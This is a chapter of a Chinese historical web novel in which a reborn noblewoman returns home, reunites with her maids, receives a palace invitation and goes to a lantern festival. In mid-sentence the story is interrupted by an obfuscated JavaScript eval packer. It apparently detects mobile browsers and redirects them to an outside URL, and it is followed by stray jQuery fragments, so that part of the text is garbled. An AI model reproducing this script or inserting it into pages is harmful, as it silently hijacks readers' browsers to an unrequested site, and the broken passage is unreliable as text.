记忆中的知春院渐渐清晰起来,首先映入眼帘的是院中的那株桃花树。此时只剩下光秃秃的枝干,上面落了一层薄薄的雪。
听娘说,那是她出生那年亲手种下的,树下埋了一坛酒,想着等她成亲那天挖出来喝。
推开知春院门,里面的一切布置都与前世一般,云扶清瞬间觉得眼眶酸涩。
她回家了,真好。
云扶清快走两步,抚上院子中的石桌。一寸一寸,描摹上面的花纹。
「清清平安喜乐,幸福健康」
这是娘亲一笔一笔刻在上面的。
“祖父,”云扶清转身抱住云太傅,“真好。”
云太傅只当她一时回家没太适应,摸了摸她的头。
“都是我不好,若是我当年坚决一些,无论如何都不让他们离开,也就不会……”
云扶清抬头看他,祖父那双略浑浊的眼睛里蓄满泪水。
云扶清摇摇头:“祖父莫要这样说,父亲母亲他们有自己的追求,若不是当年那伙盗贼,父母必不会出事。”
她自己都没发觉,说这些话的时候,双手紧紧握住几乎嵌进肉里。
母亲死前告诉她不要追究,不要接触有关他们死亡的一切,让她小心一些别有用心之人。
可怎么让她不追究!前世的时候她也找过当年那伙逃跑的人,一无所获。那群人就像是人间蒸发一般,了无踪迹。
两个梳着双垂髻的侍女上前行礼。
“奴婢芙玉,”
“奴婢菱欢,”
“见过姑娘。”
“这两孩子是家生子,祖父想着她们和你年纪相近,你们会更好相处。”
再次见到她们,竟然真的隔了一世。
“谢谢祖父!”
“今日时辰不早了,舟车劳顿,早点休息。有什么需要告诉她们,让她们帮你添置。”
云太傅放下心来,没有过多逗留,径直离开。
菱欢接过云扶清手中的包袱,打开查看一番。包袱很轻并没有什么东西,不过是几件换洗的衣裳,且很老旧,根本配不上自家姑娘。
菱欢的声音从室内传来:“姑娘,这些衣裳奴婢替您扔了吧?”
按理说,她不需要过问就应该帮自家姑娘处理的,可她怕这位姑娘有什么重要的东西,还是问一下保险点。
云扶清想了想,包袱里确实没有什么重要的东西:“你看着办就好。”
菱欢应了声,继续整理。
“姑娘喜欢吃什么,奴婢叫她们去做。”
云扶清简单说了几道爱吃的菜,芙玉一一记下,刚走两步被叫住。
“姑娘还有什么吩咐?”
“芙玉,我想吃街东的桃花酥。”
芙玉面色为难:“可如今天色已晚,恐没有新鲜的糕点了。”
“没有了?这个点没有糕点?”
芙玉点点头。
云扶清看起来很是惊讶,她记得以前无论多晚只要她想吃,奚淮衣总会将糕点捧到她手中,而且是新鲜出炉的。以至于她以为那卖糕点的很晚才关门。
如果不是这样,那糕点是从哪里来的?
想到四皇子奚淮衣,云扶清周身的气压瞬间低了下去。芙玉心思活络,自然察觉到她心情不好,扑通一声跪了下去。
“姑娘,您若是想吃,奴婢让素嬷嬷她们去做。就是这口感,可能比不上街东。”
云扶清一直在愣神,芙玉这一跪直接将云扶清的魂拉了回来。
她抬手示意她起来,摇了摇头。
“算了,也不是非吃不可。”
云扶清打了个哈欠,赶了那么多天的路,眼下闲下来竟感觉些许疲惫。
“姑娘先小憩一下,待膳食做好奴婢再来叫您?”
芙玉小心翼翼地看她,让云扶清有些哭笑不得。
许是刚才真的吓到了她,分明前世的芙玉是个活泼可爱的小姑娘。
“我有那么吓人吗?”
“姑娘恕罪,奴婢不是怕姑娘,奴婢只是第一次接触姑娘,怕触了姑娘忌讳。”
云扶清噗嗤一声笑出来,她觉得这时候的芙玉实在是可爱得紧。
“好了好了,做你自己就好,我还挺喜欢你的。”
芙玉茫然地抬头,见云扶清已经往屋内走去了。
“姑娘,”菱欢手捧着一块半月形的白玉佩,举到云扶清面前,“这个是奴婢收拾您包袱的时候找到的,奴婢想着应该对姑娘很重要。”
云扶清素手挑起玉佩的系带,上面只刻着一些繁复的花纹,看不出什么门道。
她对这块玉佩也没什么印象,随手丢给菱欢。
“先收着吧。”
室内燃着炭火,很温暖。云扶清倒在床上,不一会就睡了过去。
等芙玉将她叫醒的时候,外面已经全黑了。她简单吃了两口,就又睡了过去。
这一睡,直到第二天日上三竿。
“姑娘,”
芙玉越过织锦屏风,瞧见云扶清正睡得香甜,闻言还向内翻了个身,声音不由得放低些。
菱欢望了一眼,扯了扯芙玉:“何事?姑娘还未醒。”
芙玉小声道:“是桐贵妃身边的秋嬷嬷来了,此刻正等在外面呢。”
云扶清已经睁开眼睛,芙玉将刚才的重复一遍。云扶清的瞌睡瞬间清醒了,一骨碌坐起来。
秋嬷嬷是桐贵妃身边的老嬷嬷了,她来肯定是有关桐贵妃的。而桐贵妃又是她的姑母,五公主的母妃。
“快请进来。等等,先帮我更衣。”
两人应下,对着云扶清一阵手忙脚乱,终于将她打扮好。芙玉出去将人请进来。
秋嬷嬷笑着跟她见了礼,身后跟着一大溜宫女太监。手中端着各种珠宝首饰,绫罗绸缎。
“娘娘不便出宫,让老奴来看望姑娘。”
看清她的一瞬间,秋嬷嬷还是吃了一惊。
这位大姑娘,眉目间有几分像她家娘娘,更多的还是像那位已故的云夫人。
心中不由觉得惋惜,若是云夫人还在,想必这大姑娘也不是如今这般光景。眉目含情,长睫如羽,欲语还休,天地万物都为她失了颜色。
秋嬷嬷有些呆愣,转而亲切地拉过她的手,内心泛起心疼。姑娘当真是太瘦了,手摸到之处有些硌人。
语气更软了几分:“姑娘,这些年你受苦了。”
“嬷嬷言重了,代我向贵妃娘娘问好,劳烦娘娘挂念。”
秋嬷嬷点点头,外界都传这位找回来的云府大姑娘必定是个大字不识的乡野村妇,不知礼仪,多少人等着看她的笑话。可她却看她知书达理,是个识大体的姑娘,对她是越看越满意。
将这些告诉给娘娘,娘娘必定是高兴的。原本娘娘要她来探个虚实,若大姑娘真如外界传闻那般,她好尽早找礼仪嬷嬷教
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702726|173509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
教她规矩,如今看来,娘娘是不必担心了。
秋嬷嬷心里头开心,脸上的笑意更深了几分。
这一颗心刚放下,就想起五公主交代的事情来,笑着从怀里掏出一烫金请帖:“五公主心里挂念姑娘,邀姑娘上元佳节一叙。”
云扶清弯了唇角,接过那帖子。
“劳烦嬷嬷。”
手中的帖子还带着温热,云扶清轻抚上面的鎏金花纹。五公主,终于要见面了。
那天之后,就连祖父都说她太瘦了,需要多补补。一大堆补品不要钱地送到她院子里,她的气色总算是好一点。
由于她回京都之后一直闭门不出,外面的传言越传越离谱,说她貌丑无颜,不敢出门见人,云扶清懒得理,任由其发展下去。
上元佳节当天,芙玉给她挑了身沧浪芙蓉锦绣裙,外罩妃色披风。
芙玉给她插了支白玉钗,菱欢给她坠了个流苏。芙玉再次拿起翡翠双蝶钗,菱欢另一头又拾起琥珀金丝簪。
云扶清不得不抬手制止:“我这是去参加灯会呢,还是去卖珠钗呢?”
芙玉嘟嘟嘴:“奴婢想着要打她们脸,自然要把姑娘打扮得美美的。”
“姑娘,你今天一定会惊艳四座!那些谣言肯定会不攻自破!”
这两日云扶清与这两个小丫鬟熟悉起来,让她有种回到前世之感。
天色渐暗,马车稳稳停在太傅府外,芙玉扶着她上了马车,稳稳地朝着朱华街而去。
挨家挨户已经挂上各式各样的花灯,街上行人手提着花灯,摩肩接踵,或嬉笑或羞涩。
马车被迫停了下来,云扶清掀开轿帘跳下马车,向前方热闹的地方走去。
她与五公主约在以前的老地方,再见故人,内心有些忐忑,也不知公主能不能认出如今的她来。
“一个乡野村姑,长得必是不如柔儿姐姐你好看。”
路过卖面具的小摊,一道不屑的女声隔着热闹的喧嚣传过来。云扶清听到了她的名字,脚步不由得一顿。
“她离家那么多年,无论样貌还是才情必定是一样都上不了台面。”
抬眼望去,几个贵女正聚在射箭摊位上,为首的粉衣贵女一箭射中靶心,引得周围人喝彩连连。
太常卿嫡女傅柔美目轻挑,神色间尽是得意与不屑:“别这样说,人家好歹是太傅孙女。”
芙玉听得气血上涌,撸起袖子就要上前去找她们理论,被云扶清一胳膊拦下来。
“姑娘她们说得太难听了!”
芙玉气得双颊鼓起,像个小仓鼠。
“嘴张在别人身上,她们要说你拦得了一时但拦不了一世。”
“再说,有人会帮我们处理的。”
芙玉“啊”了一声,正要追问是谁,那边尖叫声此起彼伏。
“我看谁在背后嚼我表妹的舌根子!”
“啪啪啪”几鞭子甩在几位贵女脚前,激起一片尘土。尖叫声瞬间响彻耳膜,云扶清不由得退后两步。
光波流转,从暗处走出一个长相张扬的女子,尤其是那双眼睛,勾人摄魄。此刻正美目圆睁,死死地盯着那几位贵女。
她甩了甩手中的鞭子,吓得那几名贵女又往后退了几步,摊位上的箭筒被扫落,铺了满地。
那双美目朝着云扶清所在的方向看过来:“几年没见,你怎么变懦弱了?她们如此说你,你为什么不打烂她们的嘴!”